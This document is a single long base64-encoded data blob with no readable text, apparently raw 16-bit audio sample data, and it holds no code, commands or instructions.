AAQABAADAAIAAgADAAIABQACAAEAAAAAAAEAAwADAAEAAgAGAAQAAQD//wAAAgAHAAcAAQAAAAAA//8AAP///v8BAAAAAwADAAAA/////wAAAQACAPv//P8AAP7//v/+/wAABgAFAAEAAAAAAAgABwAEAAMAAgADAAUABgAFAAQAAgABAAQA///+/wEAAQAAAPr//P8AAAAAAAD/////AAAAAAAAAAD/////AAAAAAAA/P/+/wAAAgACAAQAAwADAAEAAAD///7//f///wAAAgAEAAQAAwAAAAMAAgACAAUABgACAPv//f8AAAAAAQABAAIAAAAAAAEA/v/8/wAA/v/5//z/+/8AAAEA///8/wAAAAD//wAABAAFAAEAAwAHAAcABgAGAAQAAAABAAQACAAIAAcABQAGAAQABQAHAAUABQAAAAAABwAHAAcAAgAAAAIAAgACAAIABAAFAAIABAACAAMABAAGAAYAAwAFAAIAAgAAAAEABQAGAAQABQAHAAcABAABAAMAAgADAAAA/f/+//7/AAACAAAAAAAAAP//AgACAAAAAAAAAAAAAAD9//7////9/wAAAgABAAAAAgADAAQABgACAAIAAgABAAIAAwADAAQABAACAAMAAAADAAIA/f///////v8AAAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAEAAQABAAIAAgAFAAIAAQAAAPz/AAAAAAAABAAKAAYAAAACAAMAAwAEAAYAAwAAAAAA/f/8////AAAAAAEAAAAAAAAAAAD9//7//f/+/////P/+//3//f/+/wAAAQABAAEAAgABAAIAAgAFAAEAAAAAAPv/+/8CAAcABQAAAP////8AAAEAAQAAAAMAAgAAAAAAAAACAAAAAQAAAAAA/f/8//3///8BAAMA/////////v8BAAEAAAD//wAABAAEAAMABwAHAAQAAwACAAUABQAGAAkABwADAAQAAwAAAAIAAwAEAAIABQAFAAAAAAAGAAUAAwACAAEAAgADAAMABAAEAAIAAwD+//7/AwAFAAYABgAHAAEAAgAAAAAAAAD6//3///8BAAgACAAHAAkABgAEAAMAAwAFAAUABQAFAAUAAwD+//////8AAAUABAADAAIAAgAEAAIAAQD7//3/AAD8/wAA//8AAAAA//8BAAMAAwAEAAMAAwACAP7//f/+/wUABwAFAAcAAgAAAAAAAgAHAAgABgADAPr//v8AAAEABgAEAAMAAQD///z//f8AAAAAAgACAAEAAAD9/wMAAwABAAIA///9/wAA//8AAAAAAAAAAP7//v/9//7//f////7//P/9/wAAAAAAAAAA+v/8//3/+/8EAAcAAAD8//z//f8AAAAAAQD+//3//f8AAAIAAgADAAIAAAACAAMABAADAAAAAgAEAAQABAABAAIAAgAGAAMAAAAEAAcACgAMAAYAAQD9/wEAAQAAAP//+v/8////+f/6//v//f/+/////v/9//j/+v/+//z//////wAA+//1//P/+f/+/wAAAAAAAP//BQAJAAcABAACAAEA/v/8//3///8AAAIACQAHAAMAAQACAAEAAgACAPv//P/9/wAAAAD//wAAAAAAAP7//v8AAAIAAgACAAAAAAAEAAYACAAKAAMA/f///wQAAwAGAAMAAQD8//j//P/9/wAAAgADAAAA/P/9//z/AQABAP///v8AAAIAAAAAAAcABgAEAAAAAAAAAAAAAwADAAMAAQAAAP//AAAHAAcABQAEAP//AAADAAIAAgAFAAQABQAEAAEAAQAFAAYABQAEAAYABgAJAAcABAAEAAMAAAD8//z/AAACAAIAAQACAAMABQAEAAMABQAFAAQAAgAAAAEAAgACAAMAAQD///z///8CAAQABQAEAAAA/v/+/wEAAwAFAAIA+f/4//r//v8BAAIAAAD9//3//v///wEABQAGAAUAAgAAAAEAAgACAAAA/f/8/wAAAgABAAMAAAABAAAAAgACAAAA/v/9//7/AAD+//7/AAD+//7//f///////v8AAAAAAAAAAPn/+////wAAAAD///3///8AAAEAAAD9//v/+////wEAAgACAAAA/v/8//v///8CAAAA/f///wAAAQACAAIABAAFAAQABQAGAAMAAAD//wAA////////AQAAAAEAAAD9//z//f8AAP//AAAAAAIAAwACAP///f///wEAAQAAAP//+v/6//z/AAACAAUAAAD///3//v8AAPz/AAABAPz//f////7/AAD///n/+//8/wAAAwACAP///P/7//v/+v/8////AAAAAP7//v8AAAIAAwABAAAAAQAAAP7/AAAAAAEABAADAAAA+f/5//7/AAAAAAAA/P/8//z/AQACAAAAAwD+//3///8AAAUABQAGAAgABAAFAAIABAAGAAMABAADAAIAAwAGAAYABQABAAAA/v//////AQACAAAAAAAAAAIAAwABAP7//f///wEA/////wIAAQADAAAA/f/8//v//////wEAAAD+//7//v/9/wAABQAEAAQAAwAFAAUAAgADAAMABAAEAAUAAwABAAAABAACAAEAAAAAAAYABAACAAMAAgACAAMAAwADAAEAAAACAAAAAgADAAIAAAD6//j//f/8//3//P/7//r/+P/9/wAAAQAAAAAA/v//////AAAAAAEABgAFAAEAAQAAAAIAAwACAAIABAABAAAAAAD///7//f////7//f8AAAQABAAAAPz//P/9/wAAAwABAAEAAAD+/wEAAAACAAYABgAGAAIA//8CAAQABwADAPv/+//6//z/AAAAAAEA//8AAP///f/8////AQADAAIAAAD+////AAAGAAYAAgAAAAAAAAACAAUABgAEAP7//v8AAAEAAQD///7/AAAAAAAA///6//v//f/+/wEAAAD//////v///wMABQAFAAMAAAAAAAAAAAAAAPz/9//6//7///8AAAAAAAABAAUAAgD///7//v8AAAEAAQAAAAAA///+//z/+///////AAAAAP//AQAAAP/////+///////8//v////+//3/AgAEAAMAAgAAAP7/AQAFAAIAAAAAAP//AAABAAYAAAD+//7///8BAP//BAAAAPv/+v/3/wAAAQABAAMAAwAEAAIAAQACAAMABAAGAP3//P///wAABQAHAAIABAACAAAAAQADAAIAAQADAAEAAQABAAAA/v8AAP7//f8AAAAAAAADAAEA///7//z/AgAHAAQAAwADAAIAAQACAAMABAAEAAIAAAABAAEAAgADAAIA//8DAAMAAAD//wAAAgADAAEAAAABAAIABgAEAAEAAgD//wMAAwACAAAA+//8//3//f///wEAAgADAP///f/+//7/AAACAAQAAwD///z//f8AAAMABQAEAAQAAwAAAAEAAgAEAAIAAQAAAP7/AAACAAAAAwABAP3/BQAEAAQAAgAAAAAAAQAAAAIAAwD///n/+f/9/wAAAAD//wAA///7//j/+v/6//7///8AAAAAAAABAAIAAQAAAP7///////z//f/7//z/AAD9//z//////wAAAgABAAEAAQAAAAAAAAAAAAAA/f/8//3//f/+//3/AQAGAAIA///7//3/AgD9//7/+//+/wAAAAD8//3/AQAAAAAAAAADAAQAAgAAAAEAAAAAAAEABAADAAAABQADAAIABwAHAAgACAAEAAIAAwAEAAMABgACAAQAAgACAAEABQAHAAIAAQD+//v/+v/7/wAAAwADAAAAAAAAAPv//f8BAP///v/9//3//P8AAP7//f/5//j/+f/+//7//v/8//z/+v/6//7//P/+/wEAAAD+//7//f/9////AAAAAAAA/P/4//r//P/9/wAAAAACAAEA//8AAP//AAD///3//P8AAAAA/f/+/wAAAAAAAAQABQACAAQAAQAAAAEABgAHAAUAAAD//wEAAQAAAAEAAAAAAPz//f8BAAEAAgACAAAA/////wEAAgACAAYABQAEAAQABAACAAEAAQAAAAAAAQD9/wAA///9//3//v/7//7///8AAAIAAAD9////AAD///7/AAAAAAAAAAAAAAAAAAD//////P/9//3//f/8//7///8AAAMAAwACAAQABAAIAAYAAwD//wEAAgADAAcABAACAAEAAAAEAAQAAgADAAQABAAAAP//AAAAAAIABAAAAAAAAQD9////AwAKAAYAAgD/////AAAAAAAAAgAAAP///v8CAAcAAgAEAAMAAAAAAAEABgAEAAQABAAHAAUABgADAAMAAwAFAAYABQAEAP7//P8AAP//AAAAAAAAAAACAAEAAAABAP///////wAAAAAAAP//AAD//////P/7//r/+f/8//v/+/8AAAAA/v/8//z//v8CAAEAAwACAP3/AAACAAIABAABAPv/+v/6//z///////7//P/5//v/+v/4//z//v///wAA/v////z/+v///wAAAQAAAAAAAAD7//v/+//9//v/9v/3//z//////wAAAAD//wAA/P8AAAAAAQAFAAQABgADAAAAAAACAAUABAD+//7/AAAAAAMAAQABAAEAAAD+/wIABAAFAAgACAAGAAMABAAEAAQABQAAAAEAAgAAAP7///8CAAMAAQAAAP////8FAAsACAAGAAgAAgD9////AAD+/////v8AAAUABQAEAAIAAAAAAAAAAgAAAAAA/v/+/wIABAAFAAMAAAACAAQABAAFAAQAAAAAAAEAAgACAAEA///7//7/AAAAAAEAAAAAAAAA/f/7//7///8AAAIAAgAAAAEAAAD9//z//P8AAAIAAAAAAPv/8//w//P//P8AAPv/+v/8//r//v8AAAAAAgAAAAAA///+/wYACAABAAEABAAFAAQABQADAAIAAAAAAP7/+//9//7/AQACAAEAAAD///////8HAAQAAAD+//r//f8AAAMAAwAAAP3//v8AAAAAAAADAAkACAABAP//AgACAAIAAgAGAAcABwAFAAIABgAFAAIABgAGAAQAAAAAAAMAAQAAAP7/+f/z//P/+/8CAAQAAwACAP/////9//r///8BAAYABgAAAPr/+//+////AAABAP///P/6/wUABgAHAAoAAQD6//j/+P8DAAgABgAFAAAA//8BAAEABwADAAIAAQAAAP7/+//+/wEA/v/+//7//P/7//3/AAACAAAA+v/6//j/+/8DAAUABAAAAPz/+v/5//z/AAD///7/+f/+//z/+P/9/wAAAQD///r/+P/4//3/AgAHAAcAAgD9//z//v8CAAwADQAJAAEA+//3//r/AQAHAAYAAwD+/wAABAADAAcABAADAAAA/f///wEABQAHAAUAAAD6//r/AQAHAAoACAABAP///P8AAAEABgALAAgAAwD/////BQAHAAcAAwD///r//f///wAAAwACAAAA+v/5////AAAGAAoABgAAAAAAAAD+/wMABAAAAP7//P/6//3/AgAGAAYAAwD+//7//v8EAAIAAAADAAIAAAAAAP//AwAJAAsACAAEAP7/+/8AAAQABQAHAAAA+v/6//z/AgADAAIABQAAAAAA///9////AAABAAAA/v//////AwACAAUABwAHAAMA/////wMABAAGAAUAAwACAAAAAAD6//3///8AAAIA/v8AAAAA/v/+//r/+//+/////v/7//r//f/+/////v/5//n/+f/8////AAAAAPv/+f/4//z/BwAHAAYABQAAAP7/+/8AAAMABAAEAAAA/P/7//v/AAABAAEAAQD+//n/+/8AAAUABwAFAP3/+v/9/wAABQAEAAIAAAD/////AAAAAAEABAAGAAIA/f/6//v/+v/5//r/+v/7/////P/+/wAA//8AAP7/AQADAAEAAQAAAP//AAACAAAAAAAAAP7/AAACAAEAAAABAAEAAwABAAIAAgAHAAgABQADAAUABQABAAIAAQAAAAAABAAEAAMAAQD+//3//v8AAAEABQAEAAEAAwADAAIABwAFAAAAAAACAAQABQADAAIAAAD9//3/AAADAAQABAAAAP//AAD+/wEAAQAAAAAAAAD8//j//f8AAPv//P/9//3/AAABAAEAAAAAAP3///8CAAIAAQAFAAEAAAAAAP7///8AAAEA//8BAAoACQABAAEAAgABAAEAAwAFAAMAAgABAAAAAgACAAQAAgABAAAA/v8CAAMABwAFAAQAAwADAAYABgAHAAcABQADAAEAAwAGAAUAAwAEAAIA/v/9//n/+////wAA///9//3//P/9//3//f8AAAAA/v/9//z/+v/6//r//P/9//7////7//z/AAABAAAA/v/+/////v/8//7//v/////////+//z///8AAP///v8AAAAAAQAAAP7//v8AAAEAAwAAAAAAAAD8//3//v8BAAIA/P/9/wQAAAAAAAEAAAD+//z///8BAP///f////7/AAADAAMAAQACAAcAAwABAAMAAAABAAIAAAACAAUABQAGAAQAAwABAAQABQAHAAgACAAGAAkACAAIAAwACwAHAAQAAAADAAUABgAFAAMAAwACAAQAAwAEAAMAAgAAAAIAAQAAAAAA//8AAAIAAAD+//z/+v/+/wAAAAD9/wIAAQABAP////8DAP///v8AAAAAAQACAAQAAwAAAAAA///+/wAAAAABAAAA/f/9//3//v8AAAAABAACAPr/+////wEAAQD8//7//P/9/wAA//8AAAAA/P8AAAcAAgAAAAAA/v8AAAEAAQAAAAAAAQABAAAAAwAAAAAAAwABAP7/+//6//v//f/8////AAAAAAAA/f/+////AAAAAP///f/+//3///8AAAIABAACAAEA/////wAAAAADAAIABAAEAAAA/f/+/wQAAgAAAAAA+//7//7///8CAAAAAgABAAAAAAAAAAMAAQABAAEA/f/8//r//v////7/AAAAAAAAAAAAAAIAAQAAAP3/9//3//3/AAABAAAA/v/+/wMAAAAAAAcABAACAPz/+v/9////AAAAAAAA+//5//3/AAD///3///8AAAIAAgD///7/AAAAAAAAAAADAAYAAgAAAP////8BAAYABwAAAAAA//8AAAMAAwADAP///f/9////AAABAAAAAgACAAEAAAAEAAMAAQAAAP3//P/7/wAAAgAAAAAA/f8AAAAA/v8CAAEAAAABAAAAAwD//wQAAwABAAUABgAEAAAA/f8AAAIAAgAEAAcACQAFAP7///8CAAUAAgD//wAAAAAAAAAA//8AAAAAAwACAAEAAAAAAP3//P8BAAIAAwAFAAEAAAAAAP//AAADAAQAAwAAAAAAAAD//wEAAwAAAP//+//+/wQABAABAP3/AAADAAMAAwADAAAA///9/wAAAAAAAAAAAgACAAAAAAAAAAIABAABAAAAAAD9//7//f/9//3/+v/+/wIAAwACAPj/9//8/wIAAQD7//r/+//7//7//v8AAAEAAgABAAEAAAD+//3/+//6//z/AQAEAAQAAwD8//r/9v/3//v//f///wMAAgD+//v/+//9/////////////v8AAP//AAD///v//f/+/wAA///8//z//f/8//3//f8AAP7//v8AAAAAAAD+//7//v/+/wAAAgD9//v/+//9////AQACAP7//P8AAP///v8FAAUAAgACAPz/+f/7/wAAAAD8//3/AAACAP///P/+//3//f////7/AAD9//z/+P/7////AQACAAAA/P/6//3//f8AAAIAAAAAAP7//P///wAAAAD6//j//f8AAAMAAgD///7//f/9////AQD//////v/9//3///8GAAcABQAEAAQAAQD+/wAAAAD+//3/AAAGAAgABgADAAEAAAAEAAoACgAFAAAAAQACAAEAAQAGAAkABgAFAAYABgAGAAgABQAEAAcABQAEAAMAAwAFAAQABAACAP7///8IAAoACQAEAP///f/9/wAAAgADAAIA/P/5//v//f///wEAAAAAAPz//v8CAAIAAQAAAAEAAAD//wAAAgAHAAUAAwAAAP7//v/7//r///8BAAQAAAAAAP//AAD6//v//f////3//P/8//n/+f/7//z//P/9//z/+f/4//b/+/8AAAAA///5//7/AAD//wAAAAAGAAgABAAAAAAA/v/9//r//P/+/wAA///9//z/9//1//n//v/9/wAAAQAAAAQAAgAAAAAA/////wAAAQABAAAAAAAAAAEAAAAAAAAAAAD9//z//f/+/wAAAAD/////AAD//wAAAwD///3//v/9/wAAAgACAAEAAAAAAAAA//8AAP//AAAGAAMAAQAAAPn/+f/7//////8AAP//AAD//wIABgAHAAAA9//1//r/AAD//wAAAAD+//v/+v/+/wEABAADAP//+v/5//z/AAABAAYABQD9//f/9v/8/wEAAwABAP7/+v/6//3//P/9/////v/7//n//f///wAAAgADAAAA/v///wEABQAEAPz/+v/8//7/AQACAAMAAAD9//7/AQACAAMAAwACAAAA/v/+//z//v8AAAIABAADAP7//P8BAAQAAwADAAAA+//5//z//v/+//7/AQD///X/9v/8////AQAEAAEA/v/5//j/+f/9////AAADAAAAAAAGAAUACAAFAAAAAAAAAAIABgAEAAQAAgABAAAAAAAFAAYAAgD9//r//P8AAAEABAAEAAMAAQD//wIABQAIAAcABAABAPz//v8BAAMABAABAAAAAQAAAAEAAgAFAAkAAAD7//3/AQAIAAkAAgD+//z///8BAAcACwAGAAEA///9//n//f8AAAAAAAD///7//////wEAAAD//wAA/f8AAAIAAwAEAAIAAgAAAP///////wEA/P/2//r/+v8BAAYABAACAP//AAD+/wAABQAFAAIA//8AAAMAAwACAP7/+P/x//T/9f/9/wEAAgADAAAA/v/9/wAABAACAAQAAgAAAP//AAACAAEAAAD9//v//v/9//z/AAAAAAAA+//6//v//v8AAAAAAAAAAAAAAQADAAUABAAAAP7/+//8////AAAAAAAAAAACAAAAAAABAAEAAAAAAAAAAgACAAEAAQAAAAAAAAAAAAAA/v/9/wEABAD8//n/+//9/wAAAAAAAAIABQABAPz/+v/5//n//v/+///////+/wAAAAAAAAUAAQD//wAAAQD9//j/+f/6////AwADAAMAAAABAAEA+v/6//z//v/7//r//P/8//3/AQADAAIAAQAAAAAA//8BAAQABQADAAEAAAD//wAAAwADAAUA/v/8//z//f8AAAMABAABAAIAAgABAAIABAAAAP///f/9//z///8AAAAAAAD7//j//P8DAAQABAAAAAAA//8BAAYABgALAAkABAAEAAEAAQADAAEAAAD+////AQACAAMAAQD///n/+P///wMABAAHAAQABQADAAQABQADAAQABQACAAAA///8//7///8AAAEA/f/+////AAD///z/AgALAAoACAAGAAUAAwADAAEABAACAP//AAABAAAAAAACAAAAAAADAP///P/+/wAAAgADAAMAAQD//wIABwAIAAcAAwACAAMA/P/2//f/+//8////AwAAAPz/AAADAAEAAAABAAAAAAABAAAAAgABAPz/+//6//3/AAAEAAMAAAAAAPz/+f/9//7/AwAEAAEAAAD+////AAAAAP//AAAAAP//AAABAAIAAgAAAPz//P/2//j/+//8////AQD+//7//v8AAAYACAADAAAA/v/1//P/9//7//n/+P/7//3/AgAGAAYAAQD8//X/9v/+/wAAAgAEAAEAAAADAAUABQAHAAUAAAD7//z//v8AAAAAAAD9//3/BQAFAAMAAwACAAAA/P/9/wAAAAD//wAAAAD+//7///8AAPz//P////r/+P/8//z//f////v//P8AAP///P///////v/+//v//P8AAAoABwAAAAAA/v/9/wEABAACAP3///////7///8AAAgABgABAAAA/v8AAAEAAAD//wAAAAD//wAAAgAFAAIA//////7/AAAAAP///v8HAAkABAADAAIAAAABAAQAAAAAAAAAAAD///7/AAAAAAIACgAGAAUABwADAAEAAAAAAAAAAAAAAAAAAAADAAQAAQACAAAA+P///wIAAAAAAP7//P8AAP//AAAAAAAAAAAFAAUAAgAAAAAA/v/8////AAD9//3/AQABAAIAAAD9//r/+/////3///8DAAAA+//8/wAABAAGAAEA/v///wAAAAAAAAIAAgD+//3/+f/8/wAABAAGAAMAAQAAAP//AgAEAAMAAAD//wIAAQAAAAAAAAACAAMABAABAP//AAAAAP///v/+//7///8AAP7//////wAAAAD+/wAAAQAEAAAA/P/6//v//v/9//3///8BAAIAAAAAAAAAAQACAP//AAAAAAEA///8//7//f///wIABAAAAPr/9//6/wAAAAAAAAAA/f/5//r//v8EAAIAAAD+//3///8AAAEAAgADAAIA///7//f//f8AAAAAAAAFAAYABQADAP3/BAAJAAgABQAIAAgABQADAAMABAACAAIAAQACAAIAAAD9//3/BgAHAAQA/v///wAAAgADAAAAAgAAAAAAAwADAAQAAgAGAAcAAQABAAAAAgABAAIAAgD8//z//v8BAAEA///+////AAAAAAAA//8AAP//9v/x//L/+v/9//3//P/4//n/+P/7////AAD9//n/+v/9//z//f8AAAAA//////3/AAAHAAgAAgD4//j/+//9//z/+f/6//n/+f/3//j//f8AAAAA///+/wAAAAD///7/AgAGAAEA//8AAAAABQAGAAEAAQACAAEAAQACAAMAAgACAP7/+v/7/wAABAACAP7//P/+//7//f////v/+v/8//z/+v/9//3//v/+//v//f8AAAMAAAD//wEAAgABAAEAAQAAAAAAAAD///7//v/9////AAD//wIAAQD+/wAABwAKAAgABQAEAAcABgADAAAAAAAAAAMAAgD//wAAAAD///7//v/4//r//P/9///////9//r/+v///wIAAwADAAEAAAD+//3/AAADAAgABwACAP///P8AAAQABgACAAMABgAEAAUACAALAAoABQAEAAIAAgADAAIAAwACAAIA//8AAAAAAAABAP//AAD///z//f/9/////v/+/wAA/v8AAAAA/v///wEAAAADAP7//f///////v8AAP///v/+//3///8DAAEAAgACAAEAAQAAAAAAAQAIAAEA/P/5//r//v8AAAAA/v////7//v8AAAIAAwADAAQAAwABAP///f/+//7/+//5//r/AQABAP3//f/6//3/+//7//7//v/5//f/9v/4////BQAEAAAA/f/7//z//f/+////AQD+/////f/+/wEAAAAFAAUAAAAAAAAABAACAAEA+//4//n/+v/6//v/+//9//7///////3///////3//v/+////AAAAAP7/AAAAAP/////8//3/+//8//7//v////7//f/9//3/AgAGAAQAAQAAAAEAAgADAAMAAgACAAUAAAAAAAAA+v/7//3/AAD///3/+//6/////////wAAAQAAAAAAAAAAAAAA/f/9//z/////////AAAAAAEAAQACAAQAAQABAAEAAQACAAEAAAADAAgABQACAAAAAAAAAAAAAAABAAEAAgABAP7///8AAP//AAAAAAAAAQD///7/AAAAAAMAAQACAAQAAAD//wEAAwADAAYABQACAAIA/f/+//7//v/+/wAA/v/9/wAAAQAAAP///v/9/wAAAAD8//z/AAD//wAA///+//7//P/6//j/+//+////AAAAAAAAAAAAAAEAAgABAAAA///+//7//v/8//r/+//9//3//v/7//v//v///wAAAQAAAPr/+//8//7//////wAAAQABAAEAAwABAAAA//////v//P/9/wMAAwD///7//f/8//n///8AAAIAAwAEAAIAAAD9/wAAAgABAAIAAQD//wEABgAEAAgABgAEAAIAAgAEAAQABgAGAAQAAwABAAAAAwAGAAkABgAFAAoACAAFAAQABgAFAAQAAwACAAUABAACAAUAAwACAAEAAAAAAAAAAgADAAEAAAAAAP//AAD8//n/+/8AAAAA/f/9//7//v/7//z//P/2//j/9v/4//7///8DAAIA/f/9//3//v/8//r//f///wMAAwABAAAA/P/9////AAAAAAAABQADAAIAAQD+//////8AAPz/+v/7//v/AAAAAAIAAgD+//7////7//3/AQACAAIA+v/6///////8//r/+//8//3//f/9//3//v/+/wEABgAEAAMAAQD///7///8HAAgABQAFAAIAAQAAAAAAAAABAAEAAQAAAAIACgAEAAAA/P/8//3//v8AAAAAAAABAAEAAAD/////AAAAAAAAAAAAAAAAAAABAAAAAAAEAAoACgADAAIABgAHAAcAAgD///n/+P///wEAAwAEAAAA+f/2//n//P///wAAAAAFAAUABQAIAAUAAgAFAAUABAADAAIA/v/9////AAAAAAAAAAAAAAAA//////7//v8CAAUABgABAPn/9//3//v///8AAAAAAAAAAAAAAgAFAAQABAACAAIAAAAAAAAAAAAAAPv/+f/6//T/9P/2//n/+////wAAAAD+//7///8DAAYABgAEAAMA/f/7//v//P///wAAAQAEAAIA+//+/wAA+//8//z/AgAGAAkADwAQAAoAAQD1/8//t/+3/8b/6/8LABsABgDp/9//3//f/+7/EQAzAEkATQBIADUAHAALAAEA/P/+/wYAEgAZABAACAD6/+j/4v/e/+H/6P/0////AwAEAAIA/P/x//T///8KABQAFQAYABQACAABAPz/+/8AABMAHQARAP7/+P/5/wMABwAKABIADwALAAUAAAD5/+//4//g/+f/7v/3//r/9//w/+H/3P/j//D/BAAZACIAGgAZABMAEgAcAB0AHgAgACIAHwAbABYADgAJAAQAAgAAAP3/+P/1//D/7f/t/+7/8P/z//b/6//k/+L/5v/w//L/9f/6/wAAAAD+//3/9f/4/wAABQAMAA4AEwAYABYADwAAAPb/9v/6/wAABwAIAPn/7//r/+f/6P/t//D/8//3//r/+////wAABwAPAA0ADAAJAAkADAARABEADgAJAAQABgAHAAQAAQD///j/+f/8//n/9f/z//H/7//t/+v/8v/3/+7/8P/1//f/+/8AAPz/+v8CAAoAFAAWABEACgACAP//BAALAAgACAAIAAMA/f/0/+3/5v/r//D/8//0//b/+P/t/+3/6//p//D/9v8AAAkADAAPABAAEwAVAB0AJwApACkAKQAhABgAFQAVAA8AEAANAAAA+P/v/+v/6v/o/+v/6//u//L/8P/s/+j/5//w//3/BgAJAAsADQAPAA8ACwAHAAUACwAMAAsADAAHAAYABQACAP3/+P/6//3/AAD8//f/+f/3//3//f/u/+j/6f/r//H/7//p/+v/7P/1/wIACgAPAAsABwAHAA8AFgAXABsAGQAUABAACQAEAAAA/f/+////AgAAAP7/+f/y/+3/8P/0//n/+//+/wIAAgADAAAA+//5//n/AQALAA8AFAASAAwACQAKAAsACQANABUAFAANAAUA/P/3//r//v8AAP3/7f/n/+n/6v/v//T/9P/0//D/9//6//v/9//2//3/AAADAAgADAAOAA0ADwALAAYABQAFAAcACAAIAAgACAAQAA8ABwAEAAIAAAAAAAIAAQADAAcABgAHAAgAAwACAAAAAQACAAkADQAMAAsACwAJAAQA/v8CAAAAAQAAAP///P/8//r/8//w//f/+f/6/wAAAgABAAUABAABAP7//v8AAAAAAgADAAEAAQAAAAAAAgABAAAA/f/9/wAAAAAEAAMAAQAAAPr/9P/z//T/8//2//r/+f/4//j/+P/8/wAABAAIAAUAAAAAAAQAAgACAAMA/f/8/wAAAQAAAAEA//////7/AAD///3//P8CAAYABgAGAAYABAAAAP//AgAGAAcACgAMAAgABgAIAAUA//8AAAIABwAJAAcAAwAAAP7//v/8//z/+//8////AAD9//j/9v/3//r/9f/3//v/+f/9//3//v////3///8AAAIABgANAAcAAQAFAAcABAACAAAA/v8FAAkACAAHAAAA+v/3//n//v8DAAQAAgD9/wEABwAGAAAA/P/4//3/BAAGAAUAAgAAAAIAAAD//wQABgADAAUACQAHAAIA/v///wMAAwACAAAA//8BAAIA///8//r/+//8/wAAAQAEAAIAAAAFAAQABAADAAAAAAAAAAMABgAEAPr/+P/8//7//v/8//n//P/3//j//P/2//T/8f/z//f/+P/6//r/+////wQAAgD8//r/7//y/xEAJgAUAPj/7/8AABgAEQD0/+T/8P8FAA8ACQADAAIA+//5//r/AAACAPT/7v/9/xEAFQAGAPX/5//y/wMAEgAPAAQAAQADAAcABgD+//b//f8EAAYACgAIAAQAAAD8/wEABgAFAAEA/v/9/wEAAgD5/+z/6//y//v/AgACAAMAAwD8//j/+/8AAAgACAACAAAAAwAOAAsAAQD9//3/AAAGAAYAAQABAAAAAAADAP3/+f/5//3//v8AAP//AAAAAAAABQABAPr//P///wQAAwD9//X/9f/9/wQAAwD8//z//v8BAAcABQD9//n/9//3/wIABwAAAPz//v///wQACgAEAPz//v8BAAYACAAGAAEAAgAKAAkAAAD8//v/AAADAAQAAAD+/wAAAgAAAAMABgADAPv/+v8AAAUABgAAAPb/9f/8/wAAAAAAAAAACQALAAQA/v/4//7/CQAMAAYA///+/wEACQAMAAoAAgD7//j///8PAA8AAgD5//r/BQAKAAQA8//w//n/AwAEAAAA/v/5//v//f/8/wEABgAEAAAAAwADAAIAAQD8//v/AgAEAAIAAAD9//3/+v/5//n//P8AAAIAAQAGAAwABAAAAAAAAQAHAAUAAgAAAP7/AAAIAAgABQAFAAAA/v/9//7/AgAGAAMAAQADAAQABAACAP//AAABAAAA+//4//v/AAAAAPv/+P/6/wAAAAD7//b/+P/7//7//v/9//7//v/7//z//v8CAAAA/f/7//3//f/9//r/9//8/wIABQACAPz//v///wEAAQD///3/+v/9/wEABAACAAQABAAFAAkA/P/2//j//f8BAAEAAAAAAAAAAgADAAEAAgAFAAMAAwADAAEAAAAAAAAAAgABAPz/+//9/wIABAACAAAAAAADAAMABQAEAAUABQABAAIAAgABAAAA/v8AAAIA///+/wAA//8AAP7/+//+/wEAAgACAAAAAAACAAMAAQD//////v/8/wAABAACAAQAAgABAAMAAQACAAQABAAFAAMA/f/+//v//P///wAA/v/7//z/AAABAAIAAwD///7/AAAAAAMAAwD6//n//v///wAAAAAAAAQACAAIAAMAAgABAAEAAgACAAEAAAD9//z/AAADAAUAAQD///z//f////3/AQD//////P/7//7/AAACAAAA/v8AAAEAAAD8//j/AAACAPz//v///wEABQAAAAEABAACAAgABwADAP////////z/AAABAAMAAAD8//7/AAADAAMAAAD///7///8BAAQABQADAAQAAAD//wAAAgAEAAYAAwAAAPz/+////wIABwAHAAUA///8/wAAAAAAAP7//P/9//z/AAAIAAMAAQD///z///8AAAEABgAEAP///////wEABwAHAAUAAgD5//r//P///wUABQAAAAEAAAAAAAEAAAACAAIA/f/5//z///8AAAIAAQAAAP///f8AAAEAAAACAAAAAAD//////v///wAAAAD///3/+//7//3/AQADAP///f/+/wAABgAHAAUA/v/9//z/+/8DAAQAAwABAP7/AAAAAP7/AAACAP/////9//7/AAD9//j/+v/7//v//f/+//////8AAP7//P/6//z/AQACAAAA///+/wEAAAD//wAAAAABAAAABAACAAEAAgABAAAAAQAEAAUABwAGAAEA+v/7////AQADAAAA///+//3//f8AAAIAAwAFAAIA/v/8//n/+f///wMAAQD6//b/9//8/wQABwAAAPr/9//3//z///8AAAEAAAD+//3/AwACAAIABwAFAAAAAAAAAAEACQAIAAYAAgABAAIABAADAAYACgANAA8ACAAGAAQABQAGAAkABwAEAAUAAgADAAgACgAKAAcABgAEAAIAAgABAAEAAQACAAIAAAAAAAQAAQAAAAAAAAADAAAAAAABAPr/+f/+//7/AAAAAAIAAAD+//3//v8BAAMAAAAAAP7//v8EAAUABQAAAPn//v8AAAEAAAABAAEA/P/8//n//f///wAABgAHAAAAAAAAAAEABAAFAAQAAgAAAP///v///wAA9v/7//3//f8CAAMABAABAAEAAAD9////AQACAAMACAAGAAIAAAABAAIABAACAP//+/8AAP7//v////3//v/+//z//f///wAAAAD+////+P/6//7/+v/6//3//v8AAAAA/f/9/wMAAAD+/////v/7////BQABAP7/AAABAAAAAgAEAAMAAQD+//j///8BAAAAAAAAAP///f/9/wAAAAAAAAAAAgADAAgACAADAAIA/v8AAAMAAwAEAAMABAABAAEAAgAEAAUABQADAAMAAQD//wAA///+/wEAAgAGAAMAAAABAAEAAwD+//7/AAD//wAAAAD6//j/+//7//3////6//f/+//7//z//v/9//z//P/+//7//f8AAP/////+//z////9//7////+//3/+//9/wAAAAD///3///8AAAAAAQADAAIAAAD//////P/+/wAAAQAAAAAA/v/8//z//v8AAAMABAACAAEA//8AAAEAAgAFAAIAAQAAAAgACQAFAAMA/v8AAAEAAwAEAAQABQAEAAMA///8/wAAAQADAAIAAAD//wAA/v/+/wAAAAAAAP3/9f/4//3/AQADAP3/+P/+//3//P8AAAQAAAD8//7//v8FAAUAAQACAAAA/f///wEAAAAAAAAAAAD+//////8AAAIAAAABAAcAAgAAAAAA//8AAAEAAAAAAP///v/+/wAABQAHAAUAAwAAAP//AwABAAMABQADAAAA/P8AAAAAAAACAAIAAAAAAAAAAAAAAAAABQAHAAYACgAFAAIAAwAEAAUACAAEAP////8AAAIABAAGAAQAAAD//wAAAgAJAAcABgACAP//AAAAAAIA/f8AAAAAAAACAAEAAQACAAAAAgAAAAAAAwAAAAIAAgAAAAAAAAAEAAUAAwABAAMABQACAAAAAQADAAUABQADAP7///8BAAIABQADAAAAAAAAAAAABQAHAAMAAQD///////8AAAQAAgA